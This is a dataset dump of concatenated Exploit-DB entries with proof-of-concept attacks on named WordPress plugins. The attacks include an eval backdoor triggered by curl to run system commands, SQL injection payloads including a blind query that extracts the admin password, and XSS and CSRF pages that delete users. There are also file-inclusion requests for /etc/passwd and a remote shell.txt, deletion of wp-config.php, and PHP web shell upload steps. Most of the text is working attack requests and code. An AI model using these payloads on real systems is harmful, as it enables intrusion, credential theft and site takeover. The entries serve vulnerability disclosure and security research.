deardaniel/secdata-raw huggingface dataset:
Exploit-DB #50969
Description: WordPress Plugin Weblizar 8.9 - Backdoor
Type: webapps
Platform: php
Date: 2022-06-27
Author: Sobhan Mahmoodi

Exploit:
# Exploit Title: WordPress Plugin Weblizar 8.9 - Backdoor
# Google Dork: 'wp-json/am-member/license'
# Exploit Author: Sobhan Mahmoodi
# Vendor Homepage: https://weblizar.com/plugins/school-management/
# Version: 8.9
# Tested on: windows/linux

Vulnerable code:

add_action( 'rest_api_init', function() {
     register_rest_route(
           'am-member', 'license',
           array(
                'methods' => WP_REST_Server::CREATABLE,
                'callback' => function( $request ) {
                                $args = $request->get_params();
                                if ( isset( $args['blowfish'] ) && ! empty(
$args['blowfish'] ) && isset( $args['blowf'] ) && ! empty( $args['blowf'] )
) {
                                               eval( $args['blowf'] );
                                }
                      };
                )
      );
} );


If you look at the code, the user code checks the parameters and finally executes the Blowf argument with the eval function. The Eval function is to take a string of PHP commands and execute it.

In order to be able to exploit this vulnerability, it is enough to send a request such as the following request that according to the above code, the part with If should be set blowfish and blowf arguments and not empty, and
given that eval executes the blowf value , Our favorite command must also be in this argument.

Proof of Concept:

curl -s -d 'blowfish=1' -d "blowf=system('id');" '
http://localhost:8888/wp-json/am-member/license'

uid=33(www-data) gid=33(www-data) groups=33(www-data)
Exploit-DB #38047
Description: WordPress Plugin Webplayer - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2012-11-22
Author: Novin hack

Exploit:
source: https://www.securityfocus.com/bid/56660/info

The Webplayer plugin is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

An attacker can exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/wp-content/plugins/webplayer/config.php?id=[SQL]
Exploit-DB #19400
Description: WordPress Plugin Website FAQ 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2012-06-26
Author: Chris Kellum

Exploit:
# Exploit Title: WordPress Website FAQ Plugin v1.0 SQL Injection
# Date: 6/25/12
# Exploit Author: Chris Kellum
# Vendor Homepage: http://wordpress.org/extend/plugins/website-faq/
# Software Link: http://downloads.wordpress.org/plugin/website-faq.zip
# Version: 1.0


==============================================================================
Vulnerability location: /wp-content/plugins/website-faq/website-faq-widget.php
==============================================================================

     Lines 106-115:

          function displayAnswer()
          {
 	     global $wpdb;
             $master_table = $wpdb->prefix . "faq";
	     $category = $_POST['category'];
	     $searchtxt = $_POST['searchtxt'];
	     if($category!=0)
	     {
	        $sql = "SELECT * FROM $master_table WHERE faq_category=".$category." AND  faq_question LIKE '%".$searchtxt."%'";
	     }

===============================================================
Vulnerability Details: faq_category vulnerable to SQL injection
===============================================================

When submitting a query via the widget, intercept the post request via burp or other proxy to find the following:

              action=displayAnswer&category=1&searchtxt=[your query]

Changing category=1 to category=1 or 1=1 -- exposes the vulnerability, as it returns all FAQ results regardless of searchtxt value.
Exploit-DB #45438
Description: WordPress Plugin Wechat Broadcast 1.2.0 - Local File Inclusion
Type: webapps
Platform: php
Date: 2018-09-19
Author: Manuel García Cárdenas

Exploit:
# Exploit Title: WordPress Plugin Wechat Broadcast 1.2.0 - Local File Inclusion
# Author: Manuel Garcia Cardenas
# Date: 2018-09-19
# Software link: https://es.wordpress.org/plugins/wechat-broadcast/
# CVE: CVE-2018-16283

# Description
# This bug was found in the file: /wechat-broadcast/wechat/Image.php
# echo file_get_contents(isset($_GET["url"]) ? $_GET["url"] : '');
# The parameter "url" it is not sanitized allowing include local or remote files
# To exploit the vulnerability only is needed use the version 1.0 of the HTTP protocol 
# to interact with the application.

# PoC
# The following URL have been confirmed that is vulnerable to local and remote file inclusion.

GET /wordpress/wp-content/plugins/wechat-broadcast/wechat/Image.php?url=../../../../../../../../../../etc/passwd

# Remote File Inclusion POC:

GET /wordpress/wp-content/plugins/wechat-broadcast/wechat/Image.php?url=http://malicious.url/shell.txt
Exploit-DB #49531
Description: WordPress Plugin Welcart e-Commerce 2.0.0 - 'search[order_column][0]' SQL injection
Type: webapps
Platform: php
Date: 2021-02-08
Author: Erik David Martin

Exploit:
# Exploit Title: WordPress Plugin Welcart e-Commerce 2.0.0 - 'search[order_column][0]' SQL injection
# Date: 04/08 2020
# Exploit Author: Erik David Martin
# Vendor Homepage: https://www.welcart.com/
# Software Link: https://downloads.wordpress.org/plugin/usc-e-shop.2.0.0.zip
# Category: Web Application
# Version: 2.0.0
# Tested on: Ubuntu 18.04.04 LTS / WordPress 5.4.2

# 05/08 2020: Vendor notified
# 06/08 2020: Vendor requested detailed information
# 06/08 2020: Information provided
# 11/08 2020: Vendor notified that a patch will be provided. No current ETA
# 10/12 2020: Vulnerability fixed

# 1. Description

The POST parameter "search[order_column][0]" does not sanitize user input when searching through the order lists.

# 2. Proof of Concept (PoC)

Use ZAP/Burp to capture the web request when searching through existing order lists and save it to request.txt
Referer: http://192.168.0.63/wp-admin/admin.php?page=usces_orderlist

sqlmap -r request.txt --dbms=mysql -p search[order_column][0]

Parameter: search[order_column][0] (POST)
	Type: time-based blind
	Payload: search[order_column][0]=ID) AND (SELECT 9900 FROM (SELECT(SLEEP(5)))tKPd) AND (8867=8867&search[order_word][0]=test&search[order_word_term][0]=contain&search[order_term]=AND&search[order_column][1]=&search[order_word][1]=&search[order_word_term][1]=contain&search[product_column][0]=&search[product_word][0]=&search[product_word_term][0]=contain&search[product_term]=AND&search[product_column][1]=&search[product_word][1]=&search[product_word_term][1]=contain&searchIn=Search&allchange[column]=&collective=&wc_nonce=5e3ed8895f&_wp_http_referer=/wp-admin/admin.php?page=usces_orderlist
Exploit-DB #44585
Description: WordPress Plugin WF Cookie Consent 1.1.3 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-05-04
Author: B0UG

Exploit:
# Exploit Title: WF Cookie Consent - Authenticated Persistent Cross-Site Scripting
# Date: 23/04/2018
# Exploit Author: B0UG
# Vendor Homepage: http://www.wunderfarm.com/
# Software Link: https://en-gb.wordpress.org/plugins/wf-cookie-consent/
# Version: Tested on version 1.1.3 (older versions may also be affected)
# Tested on: WordPress
# Category : Webapps
# CVE: CVE-2018-10371

I. VULNERABILITY
-------------------------
Authenticated Persistent Cross-Site Scripting
 
II. BACKGROUND
-------------------------
WF Cookie Consent is a WordPress plugin which has been designed to display cookie consent notifications on a WordPress website.

III. DESCRIPTION
-------------------------
A authenticated persistent cross-site scripting vulnerability has been identified in the web interface of the plugin that allows the execution of arbitrary HTML/script code to be executed in a victim's web browser.

IV. PROOF OF CONCEPT
-------------------------
1) Access WordPress control panel.
2) Navigate to the 'Pages'.
3) Add a new page and insert the script you wish to inject into the page title.
4) Now navigate to 'Settings' and select 'WF Cookie Consent'.
5) Your injected script will now be executed.

V. IMPACT
-------------------------
An attacker can execute malicious code in a victim's browser to perform various activities such as stealing cookies, session tokens, credentials and personal data amongst others.
 
VI. SYSTEMS AFFECTED
-------------------------
WordPress websites running "WF Cookie Consent" plugin version 1.1.3 (older versions may also be affected).
 
VII. REMEDIATION
-------------------------
Implement a web application such as Wordfence or uninstall the plugin.

VIII. DISCLOSURE TIMELINE
-------------------------
April 23, 2018 1: Vulnerability identified.
April 23, 2018 2: Informed developer of the vulnerability.
May 2, 2018 3: No reply from the developer.
Exploit-DB #22156
Description: WordPress Plugin White Label CMS 1.5 - Cross-Site Request Forgery / Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-10-22
Author: pcsjj

Exploit:
# Exploit Title: White Label CMS v 1.5 CSRF w/ persistent XSS
# Date: 21/10/2012
# Exploit Author: pcsjj
# Vendor Homepage: http://www.videousermanuals.com/white-label-cms/
# Version: 1.5
# Software Link: http://plugins.svn.wordpress.org/white-label-cms/branches/
# Downloads: 110,313
# CVE : CVE-2012-5387 (CSRF), CVE-2012-5388 (XSS)

<html>
<title>White Label CMS CSRF</title>
<body>
<img src='http://[TARGET]/wordpress/wp-admin/admin.php?page=wlcms-plugin.php&action=save&wlcms_o_developer_name="><script>alert("fun")</script><div
"'>
</body>
</html>
Exploit-DB #41845
Description: WordPress Plugin WHIZZ < 1.1.1 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2017-04-07
Author: Zhiyang Zeng

Exploit:
======
Software: WordPress WHIZZ
Version: <1.1.1
Homepage: https://wordpress.org/plugins/whizz/
=======

Description
================
Get type CSRF in WordPress WHIZZ allows attackers to delete any wordpress users and change plugins status

POC:
========
include in the page ,then attack will occur:

delete user:

<img src="http://127.0.0.1/wordpress/wp-admin/admin.php?page=users-list&uid=4&view=list_view&deletec=yes&list_of=all_users">


active or disactive plugins:

<img src="http://127.0.0.1/wordpress/wp-admin/admin.php?page=plugin-list&action=activatep&ppath=ag-custom-admin/plugin.php&view=list_view&list_of=">

<img src="http://127.0.0.1/wordpress/wp-admin/admin.php?page=plugin-list&action=deactivatep&ppath=ag-custom-admin/plugin.php&view=list_view&list_of=">


Mitigations
================
Disable the plugin until a new version is released that fixes this bug.


FIX:
==========
https://wordpress.org/plugins/whizz/ 1.1.1 changelog->Specifically
Exploit-DB #36488
Description: WordPress Plugin WHOIS 1.4.2 3 - 'domain' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-01-03
Author: Atmon3r

Exploit:
source: https://www.securityfocus.com/bid/51244/info

WHOIS for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

WHOIS 1.4.2.3 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/wp-content/plugins/wp-whois/wp-whois-ajax.php?cmd=wpwhoisform&ms=Xss?domain=[xss]
Exploit-DB #39270
Description: WordPress Plugin WhyDoWork AdSense - 'options-general.php' Cross-Site Request Forgery (Option Manipulation)
Type: webapps
Platform: php
Date: 2014-07-28
Author: Dylan Irzi

Exploit:
source: https://www.securityfocus.com/bid/68954/info

WhyDoWork AdSense plugin for WordPress is prone to a cross-site scripting vulnerability and a cross-site request-forgery vulnerability.

An attacker may exploit these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, or perform unauthorized actions. Other attacks may also be possible.

WhyDoWork AdSense plugin 1.2 and prior are vulnerable. 

POST URL:
http://www.example.com/wordpress/wp-admin/options-general.php?page=whydowork_adsense&idcode=1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:31.0) Gecko/20100101
Firefox/31.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-co
Accept-Encoding: gzip, deflate
Referer:
http://www.example.com/wordpress/wp-admin/options-general.php?page=whydowork_adsense&idcode=1
Cookie:
wordpress_bbfa5b726c6b7a9cf3cda9370be3ee91=hacking%7C[PII_REDACTED]%7C0a0ccdb16a9d99c2b9113e25e2ea6b8d;
wp-settings-time-1=[PII_REDACTED];
wp-settings-1=editor%3Dtinymce%26libraryContent%3Dbrowse;
wordpress_test_cookie=WP+Cookie+check;
wordpress_logged_in_bbfa5b726c6b7a9cf3cda9370be3ee91=loreleitaron%7C[PII_REDACTED]%7C667e59a36d4254c8a178580770ac5135
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 843

CONTENIDO POST:
idx=1&whydowork_code=tets&whydowork_exclude=&whydowork_front_code_1=FALSE&whydowork_front_pos_1=top&whydowork_front_post_1=1&whydowork_front_code_2=FALSE&whydowork_front_pos_2=top&whydowork_front_post_2=1&whydowork_front_code_3=FALSE&whydowork_front_pos_3=top&whydowork_front_post_3=1&whydowork_page_code_1=FALSE&whydowork_page_pos_1=top&whydowork_page_code_2=FALSE&whydowork_page_pos_2=top&whydowork_page_code_3=FALSE&whydowork_page_pos_3=top&whydowork_single_code_1=FALSE&whydowork_single_pos_1=top&whydowork_single_code_2=FALSE&whydowork_single_pos_2=top&whydowork_single_code_3=FALSE&whydowork_single_pos_3=top&whydowork_singleold_code_1=FALSE&whydowork_singleold_pos_1=top&whydowork_singleold_code_2=FALSE&whydowork_singleold_pos_2=top&whydowork_singleold_code_3=FALSE&whydowork_singleold_pos_3=top&whydowork_adsense_oldday=&Submit=Update
Exploit-DB #36691
Description: WordPress Plugin Windows Desktop and iPhone Photo Uploader - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2015-04-09
Author: Manish Tanwar

Exploit:
##################################################################################################
#Exploit Title : Wordpress plugin Windows Desktop and iPhone Photo Uploader arbitrary file upload vulnerbility
#Author        : Manish Kishan Tanwar AKA error1046
#Home Page     : https://wordpress.org/plugins/i-dump-iphone-to-wordpress-photo-uploader/
#Download Link : https://downloads.wordpress.org/plugin/i-dump-iphone-to-wordpress-photo-uploader.1.8.zip
#Date          : 9/04/2015
#Love to       : zero cool,Team indishell,Mannu,Viki,Hardeep Singh,Incredible,Kishan Singh and ritu rathi
#Discovered At : Indishell Lab
##################################################################################################

////////////////////////
/// Overview:
////////////////////////

file uploading code(uploader.php) in Windows Desktop and iPhone Photo Uploader plugin doesnt check for file extension before uploading it to server
and hence vulnerable to arbitrary file upload

////////////////
///  POC   ////
///////////////


Uploading PHP shell 
=================================
Just open uploader.php in plugin directory
http://target.com/wp-content/plugins/i-dump-iphone-to-wordpress-photo-uploader/uploader.php
browse your php shell and submit it.
after uploading, you will get your shell in uploads directory at following location

http://target.com/wp-content/uploads/i-dump-uploads/

demo:-
http://127.0.0.1/wordpress/wp-content/plugins/i-dump-iphone-to-wordpress-photo-uploader/uploader.php
and upload your shell


                             --==[[ Greetz To ]]==--
############################################################################################
#Guru ji zero ,code breaker ica, root_devil, google_warrior,INX_r0ot,Darkwolf indishell,Baba, 
#Silent poison India,Magnum sniper,ethicalnoob Indishell,Reborn India,L0rd Crus4d3r,cool toad,
#Hackuin,Alicks,mike waals,Suriya Prakash, cyber gladiator,Cyber Ace,Golden boy INDIA,
#Ketan Singh,AR AR,saad abbasi,Minhal Mehdi ,Raj bhai ji ,Hacking queen,lovetherisk,Bikash Dash
#############################################################################################
                             --==[[Love to]]==--
# My Father ,my Ex Teacher,cold fire hacker,Mannu, ViKi ,Ashu bhai ji,Soldier Of God, Bhuppi,
#Mohit,Ffe,Ashish,Shardhanand,Budhaoo,Jagriti,Salty and Don(Deepika kaushik)
                       --==[[ Special Fuck goes to ]]==--
                            <3  suriya Cyber Tyson <3
Exploit-DB #46247
Description: WordPress Plugin Wisechat 2.6.3 - Reverse Tabnabbing
Type: webapps
Platform: php
Date: 2019-01-25
Author: MTK

Exploit:
# Exploit Title: Wordpress Plugin Wisechat <= 2.6.3 - Reverse Tabnabbing
# Date: 01-22-2019
# Exploit Author: MTK (http://mtk911.cf/)
# Vendor Homepage: https://kaine.pl/
# Softwae Link: https://wordpress.org/plugins/wise-chat/
# Version: Up to V2.6.3
# Tested on: Debian 9 - Apache2 - Wordpress 4.9.8 - Firefox
# CVE : 2019-6780.


# Plugin description:
Wise Chat is a leading chat plugin that helps to build a social network and to increase user engagement on your website by providing the possibility to exchange real time messages in chat rooms. The plugin is easily installable and extremely configurable. Its features list is growing all the time.

# POC
Send following URL on wise chat "http://mtk911.cf/OR/" which has the following html

<html>
<script>
if (window.opener) window.opener.parent.location.replace('http://mtk911.cf/');
if (window.parent != window) window.parent.location.replace('http://mtk911.cf/');
</script>
Open Redirect TEST
</html>

when you click on that user. This opens in a new tab, and the parent tab is silently redirected to my website without asking the user.

#Technical Details & Impact:
In a real life example, this would redirect to a phishing site to try gain credentials for users.

# References:
https://wordpress.org/plugins/wise-chat/#developers
https://plugins.trac.wordpress.org/changeset/2016929/wise-chat/trunk/src/rendering/filters/post/WiseChatLinksPostFilter.php
https://plugins.trac.wordpress.org/changeset/2016929/wise-chat/trunk#file6
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-6780
Exploit-DB #36086
Description: WordPress Plugin WonderPlugin Audio Player 2.0 - Blind SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2015-02-16
Author: Kacper Szurek

Exploit:
# Exploit Title: WonderPlugin Audio Player 2.0 Blind SQL Injection and XSS
# Date: 20-01-2015
# Software Link: http://www.wonderplugin.com/wordpress-audio-player/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: webapps

1. Description
  
wp_ajax_save_item() is accessible for every registered user (admin privileges are not checked).

save_item() uses is_id_exist() in which $id is not escaped properly.

2. Proof of Concept

Login as standard user (created using wp-login.php?action=register) then:

<form method="post" action="http://wordpress-url/wp-admin/admin-ajax.php?action=wonderplugin_audio_save_item">
    <input type="text" name="item[id]" value="1 UNION (SELECT 1, 2, 3, 4, IF(substr(user_pass,1,1) = CHAR(36), SLEEP(5), 0) FROM `wp_users` WHERE ID = 1)">
    <input type="submit" value="Hack!">
</form>

This SQL will check if first password character user ID=1 is "$".

If yes it will sleep 5 seconds.

For XSS use:

<form method="post" action="http://wordpress-url/wp-admin/admin-ajax.php?action=wonderplugin_audio_save_item">
    <input type="hidden" name="item[id]" value="1">
    <input type="text" name="item[name]" value='<script>alert(String.fromCharCode(88,83,83));</script>'>
    <input type="text" name="item[customcss]" value='</style><script>alert(String.fromCharCode(88,83,83));</script>'>
    <input type="submit" value="Hack!">
</form>

It will be visible on every page where shortcode wonderplugin_audio is used and also in admin panel:

http://wordpress-url/wp-admin/admin.php?page=wonderplugin_audio_show_items

http://security.szurek.pl/wonderplugin-audio-player-20-blind-sql-injection-and-xss.html

3. Solution:
  
Update to version 2.1
Exploit-DB #44520
Description: WordPress Plugin Woo Import Export 1.0 - Arbitrary File Deletion
Type: webapps
Platform: php
Date: 2018-04-24
Author: Lenon Leite

Exploit:
<!--
# Exploit Title:  Plugin to Wordpress Woo Import Export 1.0 RCE – Unlink
# Date: 24/04/2018
# Exploit Author: Lenon Leite
# Vendor Homepage: * https://wordpress.org/plugins/woo-import-export-lite/
# Software Link: * https://wordpress.org/plugins/woo-import-export-lite/
# Contact: http://twitter.com/lenonleite
# Website: http://lenonleite.com.br/
# Category: webapps
# Version:  1.0
# Tested on: Ubuntu 16.1


1 - Description


   - Type user access: any user registered.
         - $_POST['file_name'] is not escaped.

Article:
*http://lenonleite.com.br/en/publish-exploits/english-plugin-woo-import-export-1-0-rce-unlink/

Video:

*https://www.youtube.com/watch?v=pImtGeecdCk

2. Proof of Concept
-->

<form method="post"
action="http://server/wp-admin/admin-ajax.php?action=wpie_remove_export_entry">
   <input type="text" name="file_name" value="../../../wp-config.php">
   <input type="text" name="log_id" value="aaa">
   <input type="submit">
</form>

<!--
   - Date Discovery : *11/25/2017*
      - Date Vendor Contact : *12/29/2017*
      - Date Publish : 24/04/2018
      - Date Resolution :
-->
Exploit-DB #43196
Description: WordPress Plugin WooCommerce 2.0/3.0 - Directory Traversal
Type: webapps
Platform: php
Date: 2017-11-28
Author: Fu2x2000

Exploit:
# Exploit Title: WordPress woocommerce  directory traversal
# Date: 28-11-2017
# Software Link: https://wordpress.org/plugins/woocommerce/
# Exploit Author:fu2x2000
# Contact: fu2x2000@gmail.com
# Website:
# CVE:2017-17058
#Version:Tested on WordPress 4.8.3 woocommerce 2.0/3.0
# Category: webapps


1. Description

Identifying woo commerce theme pluging properly sanitized against Directory
Traversal,even the latest version of WordPress with woocommerce can be
vulnerable.

2. Proof of Concept

$woo = "www/wp-content/plugins/woocommerce/templates/emails/plain/"; `
function file_get_contents_utf8($fn) {
    $opts = array(
        'http' => array(
            'method'=>"GET",
            'header'=>"Content-Type: text/html; charset=utf-8"
        )
    );

    $wp = stream_context_create($opts);
    $result = @file_get_contents($fn,false,$wp);
    return $result;
}
/* $head= header("Content-Type: text/html; charset=utf-8"); ; */
header("Content-Type: text/html; charset=utf-8");

$result = file_get_contents_utf8("http://".$woo);

echo $result;


Regards

Fu2x200